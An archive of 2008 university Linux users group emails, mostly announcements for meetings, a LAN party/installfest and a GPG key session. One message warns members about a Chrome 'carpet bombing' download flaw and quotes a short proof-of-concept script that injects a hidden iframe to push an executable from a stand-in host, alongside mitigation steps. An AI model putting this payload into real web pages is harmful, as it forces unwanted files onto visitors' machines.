Everyone be sure to show up on Sept. 4th 2008 in the ctlm basement lab  
(likely the mac lab since no one's ever in there). We will be  
discussing plans for the Installfest/LAN Party and you'll have a  
chance to put in your suggestions for topics/companies for this  
semester.

Subject: LUG: LAN Party / Installfest Friday !
Message-ID: <8E4363E7-1254-4302-822A-AD7AC08466A7@Mines.edu>

This Friday, September 12th, 2008 at 8pm in the CTLM basement is our  
Lan Party/Installfest, so make sure you don't forget. Bring your own  
computer if you like. We can play games on the school's decent  
machines if they don't require administrator privileges to run (wc3,  
sc, q3, etc), otherwise you'll need to plan on running it on your own  
computer.

Do not stay home that evening thinking to yourself "well, I don't play  
games." Refusing to play games at all is like refusing to have  
friends. This is also our installfest for the semester, so in theory,  
students will be bringing their own machines that have issues running  
software or installing linux in general for everyone else to help fix.  
Also bring your harddrive space, lots of data gets thrown around at  
these events.

So be there or be a lamer! Even Chip is coming, that means you too can  
be there.

Subject: LUG: Google Chrome browser 0-day exploit!
Message-ID: <48C16D00.6070602@mines.edu>

For those of you that may be experimenting with the new and exciting
google chrome browser: Beware!
As Kevin informed me last night, it uses a vulnerable version of webkit
(525.13), which contains the "carpet bombing" flaw found eariler in Safari.

For more information see here:
http://blogs.zdnet.com/security/?p43

The proof of concept is surprisingly simple:

<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>

While google is working on a workaround patch, the following steps may
be taken to prevent you from getting pwnt:

1. Click on the wrench in Chrome's upper right corner.

2. Click OPTIONS on the dropdown menu.

3. Check the box labeled "Ask where to save each file before downloading."

The vulnerability will still exist, however you will now be prompted for
every download.

Cheers,
- Jim C.

Message-ID: <D27B8A01-C872-4120-8747-6593B741DCF1@Mines.edu>

So I already emailed you all, but in case you forgot: come to the  
lanparty/installfest tonight.

8pm Tonight
CTLM new-wing basement
The door on Arapahoe Street will be propped open for you all, but if  
you have trouble getting in call me @
303-862-0454

So make sure you bring your hard drives, lan cables if you have any,  
and whatever computer you want to play games on or get help with.  
There will be ladies present, so try not to show up as a smelly bum.  
Ladies don't usually like the smelly ones.

Your president,
--Samuel Goodwin

Sorry for the late notice, but SOME PEOPLE don't answer their email  
which makes it hard to get a meeting organized.

So show up in the CTLM basement Mac Lab Monday evening so that we can  
have us a meeting. Jim will be explaining the wonder of GPG keys and  
lead us all through creating, registering, and distributing our keys.  
Then all our email can be verified and/or encrypted!
